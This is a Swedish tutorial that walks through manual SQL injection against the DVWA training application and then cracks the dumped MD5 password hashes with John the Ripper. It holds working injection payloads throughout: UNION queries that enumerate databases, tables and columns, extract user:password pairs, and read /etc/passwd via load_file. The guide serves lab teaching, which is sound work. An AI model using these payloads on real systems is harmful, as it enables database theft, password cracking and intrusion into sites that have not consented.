Manuell SQL Injection & JTR

Sec24 – Penetrationstest – Manuell SQL Injection och John the Ripper

Av: Oscar Andersson, Sec24

rev 1.0 2012-12-22

rev1.1 2013-06-24 – Uppdaterade dekryptering av hashar med John the Ripper.

OBS:  Följande guider är enbart för utbildningssyfte och får absolut inte användas för olagliga ändamål.

Denna guide utgår ifrån att du har satt upp en DVWA – Damn Vulnerable Web Application och nu är ansluten till denna. Vet du inte hur du gör är det bara att följa denna guide. Sätta upp en testmiljö.

När du väl är inloggad börjar du med att trycka på fliken DVWA Security. Här kan du välja vilken säkerhetsnivå hemsidan ska ha. I den här introduktionsguiden sätter vi säkerhetsnivån till low och trycker på submit.

Efter det går vi in på SQL Injection fliken. SQL Injection definition enligt wikipedia: “SQL-injektion (engelska SQL injection) är ett sätt att utnyttja säkerhetsproblem i hanteringen av indata i vissa datorprogram som arbetar mot en databas. Injektionen sker genom att en användare skickar in parametrar till en databasfråga, utan att parametrarna transformeras korrekt med avseende på speciella tecken, som escapesekvenser. Med anpassade parametrar kan en användare kringgå inloggningssystem och manipulera data. Metoden har fått sitt namn av databasfrågespråket SQL.”

Det första en hacker normalt sett gör är att testa om hemsidan genererar någon felkod genom att skicka en ‘ eller liknande kod till servern. Även kallat Error Based SQL Injection. Skickar vi ett enkelt citationstecken på hemsida får vi mycket riktigt fram en felkod.

“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ””’ at line 1″

Trycker vi på source och ser SQL syntaxen är det lätt att förstå varför felkoden uppstår om vi kan grunderna inom SQL. Här är en kort introduktion för er som inte kan. Introduktion till frågespråket SQL

SELECT first_name, last_name FROM users WHERE user_id = ‘$id’

Kort sagt måste koden stängas för att inte generera fel. Kan testas genom att skicka två enkla citationstecken ‘ ‘ till servern. Koden går igenom utan problem.

Nu går vi tillbaks till koden som generade fel, alltså ‘, och skriver istället 123’456. Felkoden blir nu:

“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘456” at line 1″

Det här innebär att allt som skrivs efter det enkla citationstecknet behandlas som SQL kod.

Vi provar nu att att skicka ett meddelande som alltid returnerar ett sant värde till databasen. Vi skriver nu in:

 or ‘a’=’a

Det skickar följande syntax till databasen.

 SELECT first_name, last_name FROM users WHERE user_id = ‘ ‘ or ‘a’=’a ‘

En god idé kan även vara att testa SQL syntax direkt i databasen. Detta görs enklast genom phpMyAdmin och ger bättre förståelse för vad som händer.

Om vi inte vet hur SQL frågan exakt ser ut kan följande syntax ge samma resultat:

‘ or 1=1–
” or 1=1–
or 1=1–
‘ or ‘a’=’a
” or “a”=”a
‘) or (‘a’=’a

I felmeddelandet från tidigare fick vi inte fram vilken version databasen använder men däremot såg vi att det var MySQL. Det innebär att följande kod ska köras för att få fram versionen.

Select version() eller Select @@version

För att slå ihop Select satserna använder vi oss av en UNION för att försöka få fram databasversionen. Vi testar först:

‘ union select @@version#

Hash (#) används för att kommentera bort efterföljande SQL kod.

Returnerar felkoden: The used SELECT statements have a different number of columns

Innebär att Select satserna inte returnerar lika många kolumner. Antingen kan vi nu öka antalet kolumner gradvis eller använda oss av ett NULL-värde. Detta då NULL-värden kan motsvara vilken datatyp som helst.

‘ union select 1,@@version#

‘ union select null,@@version#

Båda frågorna returnerar samma svar.

När vi vet versionen tar vi nu reda på hostname med följande kod:

‘ union select null,@@hostname #

Nu vet vi både version och hostname så nu är det dags att få fram antalet kolumner. Detta görs med hjälp av order by syntax som sorterar informationen i en tabellVi vet redan nu att det är två kolumner (First_Name och Last_Name) då vi vet hur SQL-frågan ser ut men normalt sett vet vi inte det. Koden vi hade använt i det här fallet är:

‘ order by 1 #

När vi kör ‘ order by 1 # ser vi att koden  går igenom utan problem. Vi ökar då till ‘ order by 2 # och slutligen till ‘ order by 3 #. Nu får vi felmeddelandet: Unknown column ‘3’ in ‘order clause’

Det här innebär att oavsett om vi vet SQL-frågan eller ej vet vi att den returnerar två kolumner.

Nästa steg är att ta reda på databasanvändarna. Det finns tre olika frågor för detta ändamål. Nämligen:

SELECT user();

SELECT current_user(); eller bara SELECT current_user;

SELECT system_user();

Vi skickar följande uppgifter till servern via sökrutan: ‘ union all select current_user(),user() #

Nu vet vi att användaren är root@localhost. Vi ska även passa på att få fram databasnamnet. Det gör vi med frågan: ‘ union select null,database() #

Vi ser här att databasnamnet är dvwa.

I nästa steg ska vi ta ut alla tillgängliga databaser genom att använda oss av information_schema. Koden vi ska använda oss av är följande:

‘ union select null,schema_name from information_schema.schemata #

Det kan tyckas konstigt att vi kan få ut all denna information men om vi granskar frågan blir det klarare. Information schema lagrar information om databaserna och tabeller, kolumner, procedures etc som finns. Denna information kan vi extrahera vare sig vi är administratör eller ej. Om vi loggar in på phpMyAdmin ser vi att svaren motsvarar våra databaser som finns där.

Om vi ska dissekera koden ytterligare betyder följande syntax, schema_name from information_schema.schemata, följande när den skickas till databasen: SELECT schema_name FROM information_schema.schemata

När vi vet databaserna kan vi även försöka få fram tabellerna som lagras i information_schema. Det görs med input:

‘ union select null,table_name from information_schema.tables #

Ett kort utdrag nedan av alla tabeller som finns.

Om vi vill hämta tabeller från en specifik databas använder vi oss av en where fråga. Kodexempel nedan på tabellerna i phpmyadmin databasen.

‘ union select null,table_name from information_schema.tables where table_schema = ‘phpmyadmin’ #

Ovan var ett exempel för att visa att när vi väl tagit oss in i databasen kommer vi åt all information och inte enbart sådant som är kopplat till den specifika webbapplikationen. Som vi såg tidigare hämtade formuläret data från databasen dvwa. Vi går nu vidare och extraherar vilka tabeller som finns i den. Det enda vi behöver göra från föregående syntax är att byta phpmyadmin mot dvwa.

‘ union select null,table_name from information_schema.tables where table_schema = ‘dvwa’ #

Vi vill nu få fram alla kolumner i tabellen users. Det gör vi med följande kod:

‘ union select null,column_name from information_schema.columns where table_name = ‘users’ #

Ofta används sammanbindning av textsträngar (String concatenation) för att binda ihop flera strängar till en sträng. Det passar oss bra när vi vill få fram användaren samt lösenordet. I SQL används syntaxen concat för sammanbindning. För att inte allt ska skrivas ihop används ofta avskiljaren : (kolon). För att databasen ska förstå vad vi menar använder vi ASCII-kod.

: = 0x3a

‘ union select null,concat(user,0x3a,password) from users #

Nedan har vi nu användarna och deras lösenord (krypterade) utskrivna.

(Lösenord i nedanstående form kallas lösenordshashar)

Beroende på hur starkt lösenordet är, vilken kryptering och salt som används så är det olika svårt att knäcka lösenordshashen. I det här fallet går de att få fram lösenorden på några sekunder genom att kopiera in hasharna på siten md5decrypter.co.uk. Det här var lika mycket en guide i hur simpel SQL Injection går till som det var för att visa hur viktigt det är att en hemsida är ordentligt skyddad. Det räcker med ett oskyddat formulär så kan en hackare få tillgång till en hel databas med allt vad den innehåller såsom kundregister och användarregister. Som visas nedan så kan en hackare till och med läsa filer direkt från servern om det vill sig riktigt illa.

Det går även att använda programmet “John the Ripper”. Detta finns förinstallerat i Kali och Backtrack. Skapa en ny textfil med användarnamnen och lösenordshasharna separerade med ett semikolon enligt resultatet vi fick ut ur databasen. I Kali väljer du sedan att spara filen under /usr/sbin/dvwa.txt.

Sec24 sec 24 hur hackar man DVWA penetrationstest SQL Injection sqli sql i john the ripper JTR 1

Öppna nu en ny terminal i Kali och navigera till mappen /usr/sbin.

cd /usr/sbin

./john –format=raw-MD5 dvwa.txt

Om du får felmeddelandet “Unknown ciphertext format name requested” innebär det att du behöver jumbo patchen för JTR eller en nyare version. Kör följande kommandon för att installera:

sudo apt-get install john

Fungerar det fortfarande inte så kör följande kommandon:

sudo apt-get install libssl-dev

sudo apt-get install openssl

Har du redan sparade hashar knäckta måste först john.pot filen tas bort. Den hittar du genom kommandot cd ./.john. Hittar du den inte där kan du köra kommandot find . -name ‘*.pot’ för att söka efter filen.

cd /usr/sbin

./john –format=raw-MD5 dvwa.txt

Sec24 sec 24 hur hackar man DVWA penetrationstest SQL Injection sqli sql i john the ripper JTR 2

Några till enkla kommandon:

För att få fram var på serven databasen ligger kan vi köra följande kommando:

‘ union select null,@@datadir #

Vi kan även försöka läsa filer från servern. På Linux-distributioner är målet ofta /etc/passwd där lösenord kan finnas lagrade. Koden för detta ändamål är följande:

‘ union all select load_file(‘/etc/passwd’),null #